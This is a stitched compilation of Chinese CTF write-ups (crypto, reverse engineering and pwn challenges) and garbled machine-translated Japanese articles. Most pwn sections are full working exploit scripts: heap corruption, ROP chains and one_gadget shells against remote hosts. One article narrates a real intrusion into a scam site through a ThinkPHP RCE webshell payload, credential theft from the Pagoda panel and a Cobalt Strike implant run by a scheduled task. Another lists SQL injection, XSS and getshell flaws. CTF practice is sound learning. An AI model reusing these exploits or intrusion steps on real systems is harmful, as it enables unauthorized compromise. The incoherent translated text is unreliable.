利用lcg的三组连续输出求出参数m和c,从而得到整个序列s,反求出序列M;然后就是一个背包的破解,lll算法求最短向量即可,构造方式参考:https://www.ruanx.net/lattice-2/,exp:M = [19620578458228, 39616682530092, 3004204909088, 6231457508054, 3702963666023, 48859283851499, 4385984544187, 11027662187202, 18637179189873, 29985033726663, 20689315151593, 20060155940897, 46908062454518, 8848251127828, 28637097081675, 35930247189963, 20695167327567, 36659598017280, 10923228050453, 29810039803392, 4443991557077, 31801732862419, 23368424737916, 15178683835989, 34641771567914, 44824471397533, 31243260877608, 27158599500744, 2219939459559, 20255089091807, 24667494760808, 46915118179747]S = 492226042629702n = len(M)L = matrix.zero(n + 1)
for row, x in enumerate(M):    L[row, row] = 2    L[row, -1] = x
L[-1, :] = 1L[-1, -1] = Sres = L.LLL()print(res)# pythonfrom Crypto.Util.number import *from hashlib import *nbits = 32M = [19621141192340, 39617541681643, 3004946591889, 6231471734951, 3703341368174, 48859912097514, 4386411556216, 11028070476391, 18637548953150, 29985057892414, 20689980879644, 20060557946852, 46908191806199, 8849137870273, 28637782510640, 35930273563752, 20695924342882, 36660291028583, 10923264012354, 29810154308143, 4444597606142, 31802472725414, 23368528779283, 15179021971456, 34642073901253, 44824809996134, 31243873675161, 27159321498211, 2220647072602, 20255746235462, 24667528459211, 46916059974372]s0,s1,s2 = 562734112,859151551,741682801n = 991125622m = (s2-s1)*inverse(s1-s0,n)%nc = (s1-s0*m)%ns = [0] * nbitss[0] = s0for i in range(1, nbits):    s[i] = (s[i-1]*m+c)%nprint(s)for t in range(nbits):    M[t] = M[t] - s[t]print(M)# 注意是反向量short = '00101000011000010001000010011011'short2 = ''for i in short:    if i == '0':        short2 = short2 + '1'    else:        short2 = short2 +'0'print(short2)print(len(short2))num = int(short2,2)print(sha256(str(num).encode()).hexdigest())

5.babyDLP

CryptoCTF2022的原题side step,参考春哥的解法:https://zhuanlan.zhihu.com/p/546270351,exp需要修改两个地方,1是if (‘Great!’ in a):需要加上b,其次是a = a[9:]改为a = a[8:] 。然后直接打即可:from pwn import *from sage.all import *from Crypto.Util.number import *

class Gao:    def __init__(self):        self.con = remote('101.201.71.136', 16265)        self.p = 2 ** 1024 - 2 ** 234 - 2 ** 267 - 2 ** 291 - 2 ** 403 - 1        self.s_high = 1        self.Zp = Zmod(self.p)        def gao_check(self):        self.con.sendline('T')        ans = self.Zp(4).nth_root(self.s_high)        print('Guessing: {}'.format(ans))        self.con.sendline(str(ans))        self.con.recvuntil('integer: \n')        a = self.con.recvline()        if (b'Great!' in a):            print(a)            print(ZZ(ans).nbits())            return True        else:            return False
    def gao_one(self):        self.con.sendline(b'T')        ans = self.Zp(2).nth_root(self.s_high)        self.con.sendline(str(ans))        self.con.recvuntil(b'integer: \n')        a = self.con.recvline()        if (b'Great!' in a):            print(a)            print(ZZ(ans).nbits())            return True        else:            a = a[8:]        t, r = eval(a)        self.s_high <<= 1        if (t == 0):            self.s_high |= 1        self.t = 1 - t        #print('{:b}'.format(self.s_high))        return False

    def gao(self):        while (True):            if (self.gao_one()):                break            if (self.t == 1):                if (self.gao_check()):                    break        def gao_2(self):        for i in range(1023):            if (self.gao_one()):                break        else:            for i in range(20):                self.gao_check()                self.s_high >>= 1
if __name__ == '__main__':    g = Gao()    g.gao_2()目录WebFunWEBezjavaRustwafpwnojsprotocolqueueunexploitablesandboxheapbitheapleakMiscstrange_forensicsRevroketcryptolittle little fermattracingfillbabyDLP

0x04 RE

1.engtom

下载下来,一看,. snapshot ???懵逼

有点像脚本语言的字节码..

必应查一下,没出来啥

看导入函数, charCodeAt ,判断是js

js有好多实现,要找找是哪种

结合开头 JRRYF 和题目名字里的 tom ,让我想起了猫和老鼠.

这时候看到一个项目,名字叫 jerryscript ,背底是奶酪.

又看到里面源码有解析. snapshot 文件,基本确定了就是他了

配置好环境后,看 help (英语阅读题),看到可以输出 opcode .

输出之,发现 sm4 的常量以及函数名,所以断定是 sm4 .

解密得到结果,用 ctf{}包上就提交了.脚本如下图:

w1ord4aocmt15385.png

附:

##############################################################################
#                                                                            #
#                            国产SM4加密算法                                  #
#                                                                            #
##############################################################################
##根据网上大神的脚本改的
import binascii
import struct
from gmssl import sm4
def getarr(a):
    ddd=[]
    for i in range(len(a)):
        s=a[i]
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        s>>=8
        ddd.append(s&0xff)
        ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1]
    return bytes(ddd)

class SM4:
    """
    国产加密 sm4加解密
    """

    def __init__(self):
        self.crypt_sm4 = sm4.CryptSM4()  # 实例化

    def decryptSM4(self, decrypt_key, encrypt_value):
        """
        国密sm4解密
        :param decrypt_key:sm4加密key
        :param encrypt_value: 待解密的十六进制值
        :return: 原字符串
        """
        crypt_sm4 = self.crypt_sm4
        crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT)  # 设置密钥
        decrypt_value = crypt_sm4.crypt_ecb(encrypt_value)  # 开始解密。十六进制类型
        return decrypt_value
        # return self.str_to_hexStr(decrypt_value.hex())

if __name__ == '__main__':
    key = getarr([19088743,2309737967,4275878552,1985229328])
    strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868])
    strData=bytes(strData)
    SM4 = SM4()
    decData = SM4.decryptSM4(key, strData)
    print("sm4解密结果:", decData)  # 解密后的数据


2.roket

测试输入数据和输出数据寻找规律发现是输入转ascii码然后三次方得到输出
from Crypto.Util.number import long_to_bytesimport gmpy2print(gmpy2.iroot(7212272804013543391008421832457418223544765489764042171135982569211377620290274828526744558976950004052088838419495093523281490171119109149692343753662521483209758621522737222024221994157092624427343057143179489608942837157528031299236230089474932932551406181, 3))#6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7da='6374667b746831735f69735f7265346c6c795f626561757431666c795f72316768743f7d'for i in range(0,len(a),2):    print('0x'+a[i]+a[i+1],end=',')print('flag:')#0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7db=[0x63,0x74,0x66,0x7b,0x74,0x68,0x31,0x73,0x5f,0x69,0x73,0x5f,0x72,0x65,0x34,0x6c,0x6c,0x79,0x5f,0x62,0x65,0x61,0x75,0x74,0x31,0x66,0x6c,0x79,0x5f,0x72,0x31,0x67,0x68,0x74,0x3f,0x7d]for i in range(len(b)):    print(chr(b[i]),end='')

0x04 PWN

1.bitheap

解题思路 一个2.27的堆,edit函数存在一个字节的溢出,当输入的字符是“1”的时候,会多输出以为。因为edit的存储,会导致下一个堆块的inuser位置0,典型的offbyone,就是输入时edit会把2进制转成16进制然后按位取反。

from pwn import *
sh=process('./sandboxheap')
#sh=remote("101.201.71.136 ",30298)
p64 = lambda con: bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin
elf=ELF(filename)
libc=ELF('libc-2.27.so')
ch="Your choice:"
Size="Size: "
Idx="Index:"
Con="Content:"
def add(idx,size):
    sh.sendlineafter(ch,str(1))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Size,str(size))
def edit(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,con)
def show(idx):
    sh.sendlineafter(ch,str(3))
    sh.sendlineafter(Idx,str(idx))
def delete(idx):
    sh.sendlineafter(ch,str(4))
    sh.sendlineafter(Idx,str(idx))
def edit2(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin(con>>16&0x000000ff)[2:].zfill(8)[::-1]+bin((con>>24)&0x0000ff)[2:].zfill(8)[::-1]+bin((con>>32)&0x00ff)[2:].zfill(8)[::-1]+bin((con>>40)&0xff)[2:].zfill(8)[::-1])

for i in range(0x8):
    add(i,0x88)
add(8,0x58)
add(9,0x88)
add(10,0x88)
for i in range(7):
    delete(i)
delete(7)
edit(8,'1'*(0x58*8))
edit(8,'a'*0x58*8)
edit(8,'1'*0x50*8+'a'*4+'1'*4)
delete(9)
for i in range(0x8):
    add(i,0x88)
show(8)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))
add(9,0x68)
delete(10)
for i in range(7):
    delete(i)
for i in range(0x7):
    add(i,0x68)
delete(3)
delete(4)
delete(5)
delete(6)
delete(1)
delete(2)
delete(8)
show(9)
sh.recvuntil("Content: ")
heap_base=u64(sh.recv(6).ljust(8, '\0'))-0x860
success("heap_base = "+hex(heap_base))
free_hook = libc_base + libc.sym['__free_hook']
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002164f# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023a6a # pop rsi ; ret 
pop_rdx_rsi_ret = libc_base +0x0000000000130539# pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96#
malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x10
realloc=libc_base+libc.symbols['__libc_realloc']
one=libc_base+0x4f302
add(1,0x68)
add(2,0x68)
edit(2,p64(0)+p64(one)+p64(realloc+2))
add(3,0x10)
sh.interactive()

2.unexploitable

第一次返回复写成0x7d1的位置,跳过push rbp,这样调解栈帧可以让下次的ret address成为0x7f开头的libc_start_main+231的位置,之后就是爆破两字节复写one_gadget,使用0xfc结尾的符合shell要求

from pwntools import *


init("./unexploitable")

def pwn():
    s(b"\x00"*0x18 + p8(0xd1) + p8(0x07))
    # dbg()
    # time.sleep(5)
    s(b"\x00"*0x18 + p8(0xfc) + p8(0x12) + p8(0x34))
    sl("ls")
    tmp = pwnio.io.recv(1,timeout=1)
    print(tmp)
    if not tmp or tmp==b'*':
        raise
    ia()
    
hack(pwn,cls=False)
# pwn()

脸黑,和队友开了两个靶机爆破了两天...队友脸白,穿了

13197d42-13fd-489d-a5e3-c06cb38f99e9


3.ojs

查找关键词可知,这题魔改自项目:https://github.com/ndreynolds/flathead

比对源码可知,新增了方法charTo

mi3vynftvbb15395.png

逆一下,str.charTo(offset, val)代表将字符串str偏移offset(可正可负)处改为val

可越界写的条件是字符串str的长度为3,且当val = 17的时候,会返回存放str自身的堆块地址(结合动态调试)。

hy13dj1a3f015399.png

由于本题没开PIE保护,且got表可写:

5zikldz2xz515402.png

所以其实任意写的思路很显然:先泄露出str自身堆块地址,然后就能用其与某got表地址的差值通过charTo任意写got表了。

泄露libc的思路也不难想到,可以将初始长度为3str后面的\x00不断覆盖掉,这样就能泄露后面内存中的libc地址了,这里其实也可以泄露出堆块地址。

不过,由于比赛的时候远程环境十分诡异,导致当时配了几个小时环境都没弄出来远程的环境(打通以后才知道原因应该是由于共享库被放在了题目的同一目录下QAQ),后来就干脆采用了无脑爆破的做法。str后面内存区域中libc的位置需要爆破一下,得到是60*8的偏移处,然后得到了libc地址以后,其相对于基地址的偏移也需要爆破一下(这里其实有个技巧,就比如我这里劫持的是printfgot表,那么可能出问题也就是倒数第二、三个字节,先只改倒数第二个字节,其余保持原先的值不变,如果最后能正常输出,则表示倒数第四位的偏移爆破正确了,倒数第三个字节的爆破也同理这么操作)。

此外,这里应该也可以通过改某个got表为puts@plt,然后输入某个got的地址来泄露libc,或者先劫持bss段上的stdin/stdout/stderr指针为某个got表地址,然后比如再改setvbufgot表为puts@plt,最后劫持执行流到setvbuf来泄露。不过这里貌似不太好泄露完再返回了,但是通过这里泄露的值和上述60*8的位置泄露的libc比对一下就不需要上面的爆破操作了。

最后,选用如下one_gadget即可:

py14ixpdqde15406.png

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

io = remote("39.106.13.71", 38641)
libc = ELF("./libc-2.27.so")
elf = ELF("./ojs")

io.sendlineafter("> ", 'a = "win";')
io.sendlineafter("> ", 'x = a.charTo(0, 17);')
io.sendlineafter("> ", 'console.log("xxx" + x.toString() + "xxx");')

io.recvline()
io.recvuntil("xxx")
heap_addr = int(io.recvuntil("xxx").strip(b"xxx"))
success("heap_addr:\t" + hex(heap_addr))

io.sendlineafter("> ", 'for(var i = 3; i < 60*8; i++) a.charTo(i, 97);')
io.sendlineafter("> ", 'console.log(a);')

libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
success("libc_addr:\t" + hex(libc_addr))
libc_base = libc_addr - 0xd22ce8
success("libc_base:\t" + hex(libc_base))

dis = elf.got['printf'] - heap_addr
og = p64(libc_base + 0xe54f7)
for i in range(6) :
	io.sendlineafter("> ", f'a.charTo({dis+i}, {og[i]});')

io.sendlineafter("> ", 'b = [];')
io.sendlineafter("> ", 'b.push("winmt");')
io.interactive()

yzkhu4wy2wx15410.png


4.protool

Google的Protobuf,参考学习连接 https://bbs.pediy.com/thread-270004.htm

发现了栈溢出,protobuf的内容解析后会送到栈里,但是username和password一定要admin

username和password中不能包含"\x00",所以rop的话,得考虑绕过"\x00"

因为是while 1,所以可以每次输入错误的username和password进行一次写栈,但是注意到不能携带\x00,所以需要从下向上写rop链,protobuf转化的时候会在最后给上一个\x00,这样开源每次从后往前少写一个字节,这样最后一个字节就被覆盖成了\x00

最后倒着写一个execve("/bin/sh\x00",0,0)就可以get shell了

from pwntools import *
from ctf_pb2 import *

init("./protocol")

ret = 0x000000000040101A
pop_rax_ret = 0x00000000005bdb8a
pop_rdi_ret = 0x0000000000404982
pop_rsi_ret = 0x0000000000588BBE
pop_rdx_ret = 0x000000000040454F
pop_rcx_ret = 0x0000000000475DA3
syscall = 0x0000000000403C99
write_addr = 0x5A2E70
read_addr = 0x5A2F10
rw_addr = 0x81A400
bss = 0x81A360



'''
b *0x407743
payload = flat([
    pop_rdi_ret,"/bin/sh\x00",
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    pop_rax_ret, 59,
    syscall
])
'''

def write(payload):
    p = pwn()
    p.username = b"admin"
    p.password = payload
    sd = p.SerializeToString()
    sa("Login:", sd)
    time.sleep(0.2)

write(b"b"*0x248 + b"b"*8*8 + p8(0x99) +p8(0x3c)+ p8(0x40))    # syscall = 0x0000000000403C99

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*8-i)) 
write(b"b"*0x248 + b"b"*8*7 + p8(59))                        # 59

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*7-i)) 
write(b"b"*0x248 + b"b"*8*6 + p8(0x8a) +p8(0xdb)+ p8(0x5b))    # pop_rax_ret = 0x00000000005bdb8a

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*6-i)) 
write(b"b"*0x248 + b"b"*8*5)                                   # 0

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*5-i)) 
write(b"b"*0x248 + b"b"*8*4 + p8(0xbe) + p8(0x8b) + p8(0x58))  # pop_rsi_ret = 0x0000000000588BBE

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*4-i)) 
write(b"b"*0x248 + b"b"*8*3)                                   # 0

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*3-i)) 
write(b"b"*0x248 + b"b"*8*2 + p8(0x4f) + p8(0x45) + p8(0x40))  # pop_rdx_ret = 0x000000000040454F

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*2-i)) 
write(b"b"*0x248 + b"b"*8*1 + p8(0x6f) + p8(0xa3) + p8(0x81))  # binsh = 0x81a36f

for i in range(1,8):
    write(b"b"*0x248 + b"b"*(8*1-i)) 
write(b"b"*0x248 + p8(0x82) + p8(0x49) + p8(0x40))   # pop_rdi_ret = 0x0000000000404982

p = pwn()
p.username = b"admin"
p.password = b"admin"
sd = p.SerializeToString()
# dbg()
# time.sleep(5)
sa("Login:", sd + b"\x00" + b"/bin/sh\x00")



ia()

01fcd7e2-39fa-4c23-8e7d-0c609c4b1139



5.queue

队列结构体

struct elem

{

  _QWORD buf_array_ptr;

  _QWORD sub_buf_max;

  _QWORD pBuffStart;

  _QWORD a3;

  _QWORD pBuffLast;

  char **sub_bufs;

  _QWORD pBuffEnd;

  _QWORD a7;

  _QWORD a8;

  _QWORD sub_buf_last;

};

666功能可以直接修改结构体

伪造结构体再通过其他功能可以实现任意地址读写

首先需要泄露一个地址

覆盖pBuffStart, 爆破一个十六进制位到有堆地址的地方

泄露堆地址

然后申请几个再free填tcache, 在堆上制造libc地址

构造结构体pBuffStart指向含libc地址处

泄露libc地址

然后伪造结构体在__free_hook处

用程序edit单字节循环写入

exp:

from pwn import *

from colorama import Fore

from colorama import Style

import inspect

from argparse import ArgumentParser

parser = ArgumentParser()

parser.add_argument("--elf", default="./queue")

parser.add_argument("--libc", default="./libc-2.27.so")

parser.add_argument("--arch", default="amd64")

parser.add_argument("--remote")

args = parser.parse_args()

 

context(arch=args.arch,log_level='debug')

 

def retrieve_name(var):

    callers_local_vars = inspect.currentframe().f_back.f_back.f_locals.items()

    return [var_name for var_name, var_val in callers_local_vars if var_val is var]

def logvar(var):

    log.debug(f'{Fore.RED}{retrieve_name(var)[0]} : {var:#x}{Style.RESET_ALL}')

    return

script = ''

def rbt_bpt(offset):

    global script

    script += f'b * $rebase({offset:#x})\n'

def bpt(addr):

    global script

    script += f'b * {addr:#x}\n'

def dbg():

    gdb.attach(sh,script)

    pause()

 

prompt = b'Queue Management: '

def cmd(choice):

    sh.sendlineafter(prompt,str(choice).encode())

 

def add(size):

    cmd(1)

    sh.sendlineafter(b'Size: ',str(size).encode())

    return

def edit(buf_id,idx,val):

    cmd(2)

    sh.sendlineafter(b'Index: ',str(buf_id).encode())

    sh.sendlineafter(b'Value idx: ',str(idx).encode())

    sh.sendlineafter(b'Value: ',str(val).encode())

    return

def show(buf_id,num):

    cmd(3)

    sh.sendlineafter(b'Index: ',str(buf_id).encode())

    sh.sendlineafter(b'Num: ',str(num).encode())

    return

def dele():

    cmd(4)

    return

def backdoor(buf_id,ctt):

    cmd(666)

    sh.sendlineafter(b'Index: ',str(buf_id).encode())

    sh.sendafter(b'Content: ',ctt)

    return

 

def edit_qword(buf_id,off,val):

    for i in range(8):

        byte = val & 0xff

        edit(buf_id,off+i,byte)

        val >>= 8

 

rbt_bpt(0x1688)

rbt_bpt(0x16b5) 

 

def leak_num():

    val = 0

    sh.recvuntil(b'Content: ')

    for i in range(8):

        num = int(sh.recvline().strip(),16)

        val |= num << (8*i)

    return val

 

def pwn():

    add(0x100)

    backdoor(0,p64(0)*2 + b'\x88\x5e')

    show(0,0x8)

    heap_addr = leak_num()

    if heap_addr == 0:

        raise EOFError

    for i in range(5):

        add(0x100)

    for i in range(4):

        dele()

    backdoor(0,p64(0)*2 + p64(heap_addr + 0x1a50)*2)

    show(0,0x8)

    libc_base = leak_num() - 0x3ebca0

    logvar(heap_addr)

    logvar(libc_base)

 

    edit_qword(1,0,u64(b'/bin/sh\x00'))

    libc = ELF(args.libc,checksec=False)

    libc.address = libc_base

    payload = flat([

        0,

        0,

        libc.sym['__free_hook'],

        libc.sym['__free_hook'],

        libc.sym['__free_hook']+0x200,

        heap_addr,

        libc.sym['__free_hook']+0x200,

        libc.sym['__free_hook']+0x200,

        libc.sym['__free_hook']+0x200,

        heap_addr+8

    ])

    backdoor(0,payload)

    edit_qword(0,0,libc.sym['system'])

    # dbg()

    dele()

 

    

while True:

    try:

        # sh = process([args.elf])

        sh = remote('39.106.13.71' ,'31586')

        pwn()

        sh.interactive()

    except EOFError:

        sh.close()




6.leak

flag被读到了一个堆块上,限制了申请堆块的个数,只能十六个,没有限制uaf的使用次数,可以改大Global_Max_Fast,造成fastbinY数组溢出,我们可以向write_base和write_ptr上写入堆地址,满足条件:write_ptr>write_base即可,利用公式size=((target_addr-(main_arena+8)/8)0x10+0x20),就可以算出需要的size,最后exit,打印出flag即可。from pwn import io = process("./leak")elf = ELF("./leak")libc = ELF("./libc-2.27.so")
context.arch = "amd64"context.log_level = "debug"
def add(idx,size):    io.sendlineafter("Your choice: ", "1")    io.sendlineafter("Index: ", str(idx))    io.sendlineafter("Size: ", str(size))
def edit(idx, content):    io.sendlineafter("Your choice: ", "2")    io.sendlineafter("Index: ", str(idx))    io.sendafter("Content: ", content)
def delete(idx):    io.sendlineafter("Your choice: ", "3")    io.sendlineafter("Index: ", str(idx))
add(0, 0x14b0)add(1, 0x14c0)add(2, 0x430)add(3, 0x90)add(4, 0x90)add(5, 0x90)add(9, 0xa0)add(10, 0xa0)
delete(5)delete(4)delete(3)
edit(3, p16(0x9c30))  # tcache fd -> unsorted bin chunkdelete(2)edit(2, p16(0xf940))  # fd -> global_max_fast
add(6, 0x90)add(7, 0x90)
add(8, 0x90)edit(8, p64(0xdeadbee0))  # global_max_fast -> 0xdeadbeef
delete(0)
edit(2, p16(0xe840))  # tcache fd -> unsorted chunk
delete(10)delete(9)
edit(9, p16(0x9c30))  # fd-> stderr
add(11, 0xa0)add(12, 0xa0)
add(13, 0xa0)  # stderradd(14,0xa0)# change stderr
edit(14, p64(0xfbad1887) + p64(0) * 3 + p8(0x50))#io.interactive()
#add(14, 0x14d0)#add(15, 0x500)delete(1)
io.sendlineafter("Your choice: ", "6")io.interactive()
:hexoPostRenderEscape–>



祥云杯附件下载:链接:https://pan.baidu.com/s/1W2euTjOK_qOMZLh8lTJf2w   提取码:7zp2
参考连接地址: https://exp10it.cn/2022/10/2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup/#ezjava
http://www.snowywar.top/?p=4077
https://www.cnblogs.com/S1gMa/p/16846438.htm

https://mp.weixin.qq.com/s/j7wjaV-sIo-3VjTz0xOCRQhttps://www.cnblogs.com/winmt/articles/16842913.htmlhttps://www.woodwhale.top/archives/2022xiangyunhttps://su-team.cn/passages/2022-xyb-SU-Writeup/





来自为知笔记(Wiz)

最近、私は誤って豚を殺すプレートを購入する仮想通貨を発見したので、私はテストの波を実施しました、そして、元監督はこのようでした。

图片

ThinkPhp5.0.5のRCEで入力され、WebShellに正常に書き込まれます。

s=index | think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=assertvars [1] []=@file_put_contents(base64_decode(mtiznduucghw)、base64_decode(mti8poccccbldmfseakeakx1bpu1rbj2en))

PHPINFO情報を確認して、システムコマンドを実行できるすべての関数が無効になっていることを発見し、COMもDLロードも使用して対応するシステムコマンドを実行できません。以下に示されています。

图片

assert、system、passthru、exec、pcntl_exec、shell_exec、popen、proc_open //phpシステムコマンドはすべて無効です

ただし、ファイルの読み取りおよび書き込み許可は、assert()、file_put_contents()などの関数を無効にしません。チェック後、Windowsシステムに示されているように以下であることがわかりました。

图片

PHPがシステムコマンドを実行するすべての機能は無効になっているため、システムコマンドを実行できないことは非常に不快です。彼のウェブサイトのソースコードをダウンロードした後、私はそれを簡単に読んで、彼の管理者のクッキーが修正されており、バックドアのように見えるように、次のように偽造できることを発見しました。

图片

したがって、ログインしてバックグラウンドをバイパスでき、管理者Cookieが修正されます。 Cookieフィールドを追加してログインしてバイパスします。ブラウザf12は、上記のキー値をCookieに追加してインデックスにアクセスすると、以下に示すようにバックグラウンドに正常にログインできます。

图片

フロントデスクはカスタマーサービスを尋ね、転送口座について学びました(豚の殺害ディスクの操作方法は、ユーザーがカスタマーサービスによって提供されたアカウントにお金を転送した後、ユーザーはレビューのためにアカウントの対応する資金の値を急いでいることです。

图片

システムコマンドは以前に実行されなかったため、突破したい場合は、サーバー上のファイルをめくり始めます。システムファイルをめくった後、Pagodaフォルダーが存在することがわかります。検出では、Pagodaサービスが実際に開いていることがわかりましたが、以下に示すように、デフォルトのログインポートが変更されています。

图片

Pagodaファイルを見ると、以下に示すように、ストレージパスのファイル名admin_path.plがあります。

图片

以下に示すように、Pagodaログインポータルを見つけて、ログインポータルに正常にアクセスしました。

图片

引き続き検索して、対応するログインパスワードを保存するdefault.plファイルを見つけ続けます。

图片

パスワードを取得した後、デフォルトのユーザー名を試してみて、それが間違っていてログインできないことがわかりました。ファイルdefault.dbファイルをめくり続けてログインレコードを記録します。ログインアカウントを見つける:

图片

以下に示すように、アカウントパスワードを使用してPagoda Management BackEndに正常にログインします。以下に示すように、アカウントパスワードを使用してPagoda Management BackEndに正常にログインします。

图片

計画されたタスクを変更して、CSのオンライン馬を実行するスケジュールされたタスクを見つけます。オンラインタスクが起動されたら、計画されたタスクを次のように変更してください。

图片

CSは次のように正常に起動されました。

图片

IPにはパブリックアドレスのみがありますが、イントラネットはありません。同じCセグメントに展開されており、すべて同じものである他のいくつかのデバイスがあるため、ダウンしません。

图片

それはすべてこのようにして、退屈な味はありません

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247486570IDX=1SN=0C20FBBF4ADBEB5B555164438B3197F7CHK SM=CE67A6F3F9102FE51B76482CD7D6BB644631AE469D8C1802956034077137ECD49EA56C8D2B1FSCENE=21#wechat_redirect

https://xz.aliyun.com/t/8224

0x00はじめに

違法なほうれん草の激しさがあり、無数の妻と子供が分離されています。この目的のために、私は「関連する部門」に何らかの助けを提供したいと考えて、わずかな努力に貢献しました。私が今日あなたのために演奏するのは、BC Tianheng Shengdaの収穫です。

0x01プログラムはじめに

プログラムは、php5.4 + mysqlプログラム構造を採用しています。

图片

基本的に、現在そのような違法サイトを行っている犯罪者は、アウトソーシングに加えて、いくつかのプログラムモデルセットを変更しました。とりあえず、技術レベルの問題のために、Tianhengは発行することしかできません。バージョンは少し古い場合があります。ただし、その大部分が使用されています。 4月中旬に自分の名前を開示したくないネチズンによる実際のテストによると、これらの問題の約70%が存在しましたが、このプログラムを使用している違法サイトは30分で約5,000〜20,000元を収集しました。

0x02脆弱性の詳細

1。お金-SQLインジェクション

web \ wjaction \ default \ payonlineback.class.php

图片

お金をフォローアップし続けてください、ここで取得する必要があります、そして条件を見てください

图片

条件表示、最初のものは重要な検証です。これは構成ファイルにあります。キーが間違っている場合、それはすべての注文が有効になることができないことを意味します。言い換えれば、キーは間違いなくURL要求内にあり、この検証はバイパスできます。

图片

条件を見続けます。ここで、検証のためにMD5値を生成することです。ただし、この検証には欠陥があり、キーの価値はここには含まれていません。したがって、直接送信するときは、$ tno。$ payno。$ money feldに設定します。次に、MD5値のMD5Keyを取得します。 $サインをURLに表示できるためです。復号化後、スクリプトを書き、その検証メカニズムに従ってそれらを挿入できます。

图片

読み続けてください、ただランダムに来てください。

图片

最後の検証である読み続けてください。ここのユーザー名は本物である必要があるため、ここでの検証は無効であると見なされます。

图片

次に、以前の分析によると、注入できます。最も重要な点は、MD5Keyの値を推測することです。

2。注文情報- ストレージXSS

注文情報- ユーザー名

图片

デフォルトの支払いがフォームを提出する場合、フロントデスクとバックエンドはフィルタリングされず、XSSストレージの脆弱性を引き起こします。

3.バックグラウンドに検証なし-GetShell

lib/classes/googlechart/markers/googlechartmapmarker.php

图片

ランダムコードの実行の脆弱性であるGoogle変数は、GETでデータを取得し、それを実行します。比較的低レベルの問題については、コードパーツを書くことはありません。 (この脆弱性は効率的ではなく、約30%の確率です)

0x03要約

このソースコードのセットは、これらのいくつかの穴だけではなく、自分で掘る練習をすることができます。第二に、私はもともと、それらを含めなかった違法なサイトツールをリリースして収集することを考えていましたが、後に「他の」警備員が迷い込むことを避けるためにそれについて考えました。私はまだ水文学の記事を持っています、私は皆さんがもっとアドバイスを持っていることを願っています!

元のリンクから転載:https://mp.weixin.qq.com/s/7r3orgpmuesdz4ykuxojjw

re-babyre

1、下载得到chall.txt,使用file命令查看文件类型,该文件是python文件

mm2ogokx1uz15209.png2.这里将chall.txt重命名为chall.pyc

使用在线python反编译得到python(https://tool.lu/pyc)

from ctypes import c_uint32
from base64 import b64encode

def enc(rounds: int, v: list, key: list):
   magic = 3735928559
   l, r = c_uint32(v[0]), c_uint32(v[1])
   total = c_uint32(0)
   for _ in range(rounds):
       l.value -= (r.value << 4) - (r.value >> 6) + (key[(total.value & 3)] << 2) ^ key[(r.value << 3 & 3)]
       total.value -= magic
       r.value += ((l.value << 5) + (l.value << 4) ^ key[(total.value & 3)] >> 2) + key[(l.value & 3)]
   else:
       return (
        l.value, r.value)


def ints2bytes(v: list) -> bytes:
   n = len(v)
   res = b''
   for i in range(n // 2):
       res += int.to_bytes(v[(2 * i)], 4, 'little')
       res += int.to_bytes(v[(2 * i + 1)], 4, 'little')
   else:
       return res


def bytes2ints(cs: bytes) -> list:
   new_length = len(cs) + (8 - len(cs) % 8) % 8
   barray = cs.ljust(new_length, b'\x00')
   i = 0
   v = []
   while i < new_length:
       v0 = int.from_bytes(barray[i:i + 4], 'little')
       v1 = int.from_bytes(barray[i + 4:i + 8], 'little')
       v.append(v0)
       v.append(v1)
       i += 8

   return v


def encode(msg):
   BASE_CHAR = 'ABCDEFGHIJKLMNOPQRST0123456789+/UVWXYZabcdefghijklmnopqrstuvwxyz'
   CHARSET = 'ASCII'
   b_msg = bytes(msg, CHARSET)
   CHAR_PRE_GROUP = 3
   zero_cnt = CHAR_PRE_GROUP - len(b_msg) % CHAR_PRE_GROUP
   if zero_cnt == CHAR_PRE_GROUP:
       zero_cnt = 0
   msg += str(chr(0)) * zero_cnt
   b_msg = bytes(msg, CHARSET)
   encoded = ''
   for i in range(0, len(b_msg), 3):
       i_msg = [int(i) for i in b_msg[i:i + 3]]
       new_msg = [None] * 4
       new_msg[0] = i_msg[0] >> 2
       new_msg[1] = ((i_msg[0] & 3) << 6 | i_msg[1] >> 2) >> 2
